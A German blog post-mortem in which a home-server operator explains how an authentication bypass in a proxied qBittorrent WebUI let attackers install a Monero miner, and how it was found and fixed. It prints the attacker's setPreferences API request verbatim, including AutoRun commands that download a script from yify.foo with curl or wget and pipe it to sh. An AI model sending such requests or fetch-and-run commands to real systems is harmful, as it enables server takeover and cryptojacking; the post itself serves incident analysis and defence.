Veröffentlicht: August 7, 2026

Neulich schaue ich beiläufig auf die Konsole meines Proxmox-Hosts und sehe etwas, das mir sofort den Magen umdreht: Load Average 13,2 auf einem 8-Core-System, das normalerweise zwischen 0,3 und 1,0 hängt. Alle sechs Gigabyte Swap voll. Die Maschine schwitzt.

Was folgte, war eine mehrstündige Forensik-Reise durch Logs, Prozesslisten und Config-Dateien — und am Ende eine erschreckend einfache Erkenntnis: Ich hatte mir selbst ein Einfallstor in den Server gebaut, ohne es zu merken. Dieser Post ist eine vollständige Aufarbeitung des Vorfalls — wie der Angreifer reinkam, was er gemacht hat, und was ich getan habe, um es zu beheben.


Das Setup: Was lief auf dem Server?

Auf meinem Proxmox-Host läuft unter anderem ein LXC-Container mit qBittorrent-nox — der WebUI-Variante des beliebten Open-Source-BitTorrent-Clients. Davor läuft in einem separaten Proxy-Container ein nginx, der die qBittorrent-WebUI über HTTPS öffentlich erreichbar macht. Das Ziel: bequemer Zugriff auf die Oberfläche von außen.

LXC-Container

LXC (Linux Containers) sind leichtgewichtige Virtualisierungseinheiten auf Kernel-Ebene. Im Gegensatz zu einer vollständigen VM teilen sie sich den Linux-Kernel des Host-Systems, laufen aber mit eigenem Dateisystem, Netzwerk und Benutzerverwaltung. Proxmox VE nutzt LXC intensiv für solche „CTs“ (Container-Templates).

Das klingt erstmal vernünftig. Was ich dabei übersehen hatte, war eine fatale Kombination zweier qBittorrent-Einstellungen.


Die Schwachstelle: Wenn Komfort zur Lücke wird

In der qBittorrent-Konfigurationsdatei (qBittorrent.conf) waren zwei Einstellungen aktiv:

WebUI\AuthSubnetWhitelistEnabled=true
WebUI\AuthSubnetWhitelist=10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
WebUI\LocalHostAuth=false

Das klingt harmlos: Geräte im lokalen Netz (RFC-1918-Adressen) sollen sich nicht extra einloggen müssen. Sinnvoll für den Heimgebrauch. Aber hier liegt der Hund begraben.

Reverse Proxy und IP-Adressen

Wenn ein Webserver wie nginx eine Anfrage „weiterleitet“, sieht der Backend-Server (hier qBittorrent) nicht die IP-Adresse des echten Besuchers — sondern die IP-Adresse des nginx-Servers selbst. Wenn nginx auf demselben internen Subnetz läuft wie qBittorrent, fällt seine IP automatisch in die Auth-Whitelist — und qBittorrent öffnet die Tür für alle.

Der nginx-Proxy-Container hat eine interne IP im Bereich 192.168.0.0/16. Folge: Jede Anfrage, die über nginx an qBittorrent weitergeleitet wurde, hat die Authentifizierung vollständig übersprungen. Egal ob ich das war, du das warst, oder ein Angreifer von der anderen Seite der Welt. qBit sah in jedem Fall: „Kommt aus dem Hausnetz — kein Login nötig.“

Die qBittorrent WebUI war de facto ohne Authentifizierung öffentlich im Internet erreichbar.


Die Spurensuche: Wochen des Probierens

Was ich im Nachhinein aus den Server-Logs rekonstruieren konnte: Erste verdächtige Anfragen an den qBit-Proxy tauchten bereits 37 Tage vor dem eigentlichen Angriff auf. Systematische API-Probing-Requests — die typischen automatisierten Werkzeuge dieser Kampagne.

CSRF — Cross-Site Request Forgery

CSRF ist ein Angriff, bei dem ein Angreifer einen eingeloggten Benutzer dazu bringt, unwissentlich eine Aktion auf einer Website auszuführen. Bei qBittorrent ist die API-Schnittstelle das Ziel: wenn der Angreifer einen präparierten Request über deinen Browser schicken kann, kann er qBit-Einstellungen ändern — ohne dein Passwort zu kennen. In meinem Fall war CSRF gar nicht nötig, da die Authentifizierung durch den Proxy bereits vollständig deaktiviert war.

Der Angreifer konnte direkt auf die API zugreifen, weil keinerlei Authentifizierung stattfand. Die Wochen des Probierens dienten wahrscheinlich dazu, genau das zu verifizieren und die richtigen API-Endpunkte zu kartieren.

Dann schlug der Angriff zu — mitten in der Nacht.


Der Angriff: Config-Injection via API

qBittorrent bietet eine vollständige Web-API. Einer der Endpunkte ist POST /api/v2/app/setPreferences — er erlaubt es, beliebige qBit-Einstellungen zu überschreiben. Der Angreifer sendete einen Request mit folgendem Inhalt:

POST /api/v2/app/setPreferences HTTP/1.1
Content-Type: application/x-www-form-urlencoded

json={
  "autorun_enabled": true,
  "autorun_on_torrent_added_enabled": true,
  "autorun_on_torrent_added_program": "sh -c \"(curl -s http://yify.foo || wget -qO - http://yify.foo) | sh\"",
  "autorun_program": "sh -c \"echo [BASE64-PAYLOAD] | base64 -d | sh\""
}

Was das bedeutet: qBittorrent hat eine „AutoRun“-Funktion, die einen Shellbefehl ausführt, sobald ein Torrent hinzugefügt oder abgeschlossen wird. Der Angreifer hat diese Funktion aktiviert und mit seinem Schadcode befüllt.

AutoRun in qBittorrent

qBittorrent erlaubt es, nach dem Hinzufügen oder Abschließen eines Torrents automatisch ein externes Programm zu starten — zum Beispiel um Dateien zu verschieben, Notifications zu senden, oder Skripte auszuführen. Das ist eine legitime Funktion, die aber gefährlich ist, wenn ein Angreifer diesen Befehl ändern kann. Er wird mit den Rechten des qBittorrent-Prozesses ausgeführt.

Sobald die AutoRun-Funktion ausgelöst wurde, kontaktierte ein Shellbefehl den Server yify.foo des Angreifers und führte das zurückgegebene Skript direkt aus.


Die Malware: Was yify.foo macht

Das Dropper-Skript von yify.foo ist erschreckend schlicht und robust. Es versucht nacheinander verschiedene Download-Methoden (curl, wget, python3, perl) — was auch immer auf dem System verfügbar ist, wird genutzt. Das heruntergeladene Binary landet als zufällig benannte Datei in /tmp/ und wird sofort ausgeführt.

Das Binary selbst ist ein XMRig-Miner — einer der verbreitetsten Open-Source-Monero-Miner.

Monero & XMRig

Monero (XMR) ist eine Kryptowährung, die auf Privatsphäre ausgelegt ist. Anders als Bitcoin sind Transaktionen nicht öffentlich nachverfolgbar. Das macht Monero zur bevorzugten Währung für Cyberkriminelle, die Server kapern und deren Rechenleistung für „Mining“ missbrauchen — also für das Lösen mathematischer Aufgaben, die neue Coins erzeugen. XMRig ist das dafür am häufigsten eingesetzte Open-Source-Werkzeug.

Der Miner verbindet sich mit einem externen Mining-Pool-Server, der die Rechenarbeit vieler kompromittierter Maschinen koordiniert und die Gewinne verteilt. Alle CPU-Kerne des Systems werden voll ausgelastet: 370% CPU-Auslastung im Container, und der Host selbst bekam die Last deutlich zu spüren.

Der Miner hatte keinen Persistence-Mechanismus — kein Cronjob, kein Systemd-Service. Er lief nur, solange die AutoRun-Einträge noch in der qBit-Config standen. Hätte jemand qBittorrent neu gestartet und einen neuen Torrent hinzugefügt — wäre der Miner sofort wieder gestartet.


Die Entdeckung: Load Average als Frühwarnsystem

Neun Tage lang lief der Miner unbemerkt. Erst ein beiläufiger Blick auf die Konsole zeigte das Problem:

  • Load Average: 12–13 auf einem 8-Core-System (normal: 0,3–1,0)
  • Swap: 6 GB zu 100% gefüllt
  • RAM: 20 von 32 GB belegt

Ein top-Blick in den betroffenen Container zeigte sofort einen Prozess mit zufälligem Namen in /tmp/, laufend unter dem qBittorrent-Benutzer, mit 370% CPU. Die Verknüpfung mit qBittorrent gelang über den Prozess-Cgroup-Pfad auf dem Host, der den Prozess eindeutig dem qBittorrent-Systemd-Dienst zuordnete.

Der Timestamp in der qBittorrent.conf-Datei bestätigte den exakten Zeitpunkt der Config-Manipulation — mitten in der Nacht, vollautomatisch.


Gegenmaßnahmen: Was ich getan habe

  1. qBittorrent gestoppt, [AutoRun]-Sektion vollständig aus der Config entfernt
  2. Auth-Bypass deaktiviert: AuthSubnetWhitelistEnabled=false, LocalHostAuth=true
  3. Öffentlicher Proxy entfernt: Die nginx-Weiterleitung zur qBit-WebUI liefert jetzt HTTP 403 — kein Zugriff mehr von außen
  4. Firewall-Regeln ergänzt: Ausgehende Verbindungen zu den bekannten Angreifer-IPs per nftables dauerhaft geblockt
  5. Access-Logging aktiviert — war global deaktiviert, was die spätere Log-Analyse erschwert hatte
  6. Automatisches Load-Monitoring eingerichtet: Telegram-Alert bei Load > 3 oder Swap > 50%

nftables

nftables ist das moderne Linux-Framework für Firewall-Regeln, der Nachfolger von iptables. Es erlaubt es, den Netzwerkverkehr auf Kernel-Ebene zu filtern — sowohl eingehend als auch ausgehend. Durch eine Outbound-DROP-Regel für bekannte Angreifer-IPs kann verhindert werden, dass der Server erneut Kontakt mit den Schad-Servern aufnimmt.


Timeline des Vorfalls

Zeitraum Ereignis
~5 Wochen vor Angriff Erste automatisierte Probing-Anfragen an die qBit-API
Tag X, 00:03 UTC Angriff erfolgreich: AutoRun-Config per API überschrieben
Tag X, ~00:05 UTC Miner-Dropper von yify.foo ausgeführt, XMRig-Binary gestartet
9 Tage unbemerkt Miner auf 370% CPU, Swap läuft voll, Load Average 13+
Tag der Entdeckung Zufälliger Blick auf Konsole, Forensik, alle Maßnahmen in selber Nacht

Ist das ein qBittorrent-Bug?

Technisch gesehen ist das kein klassischer Softwarefehler in qBittorrent. Die Subnet-Whitelist-Funktion verhält sich so, wie sie dokumentiert ist. Aber die Kombination aus drei Faktoren führt zu einem gefährlichen blinden Fleck, über den qBit nirgendwo klar warnt:

  1. AuthSubnetWhitelistEnabled=true mit einem breiten privaten Netzbereich
  2. Reverse Proxy davor, dessen IP zufällig in den whitelisted Bereich fällt
  3. LocalHostAuth=false — kein lokaler Schutzmechanismus als Fallback

qBittorrent hat keinen Hinweis in der UI oder den Logs, der warnt: „Alle deine Requests kommen von derselben IP — das könnte ein Proxy sein, der Authentifizierung effektiv aushebelt.“ Ich habe den Vorfall beim qBittorrent-Projekt gemeldet, mit dem Vorschlag, eine Warnung einzubauen oder die Dokumentation zu dieser Einstellung zu schärfen.

Die yify.foo-Kampagne selbst ist bekannt — sie zielt seit Jahren auf exponierte qBittorrent-WebUIs ab und nutzt genau diesen Angriffsweg: AutoRun via API. Was sich ändert, sind nur die Payload-URLs und Mining-Pool-Adressen.


Was hätte ich anders machen sollen?

  • qBit-WebUI niemals ohne eigene Authentifizierungsschicht öffentlich exponieren. Wenn Reverse-Proxy, dann zusätzliches HTTP-Auth auf nginx-Ebene davor — unabhängig von qBits eigenem Auth.
  • Subnet-Whitelist nur in Netzwerken nutzen, in denen du wirklich alle IPs kontrollierst — nicht in einem Subnetz, das ein öffentlich erreichbarer Proxy teilt.
  • Access-Logging niemals global deaktivieren. Ich hätte den Angriff vielleicht viel früher gesehen.
  • Automatisches Monitoring auf Load-Anomalien. Neun Tage Miner ist zu lang. Ein einfaches Alert bei Load > 3 hätte gereicht.

Der Miner hat mir keine Daten gestohlen, keine Backdoors hinterlassen, keine Credentials exfiltriert — er wollte nur Rechenleistung. Trotzdem: Wer reinkam, um einen Miner zu installieren, hätte auch anderes tun können. Der Angriff war vollautomatisch und opportunistisch — aber er hat funktioniert, weil ich nachlässig war.

Seitdem: Admin-Interfaces nur noch intern erreichbar, kein öffentlicher Proxy für Tools mit sensiblen Schreib-APIs, automatisches Alerting bei Last-Anomalien.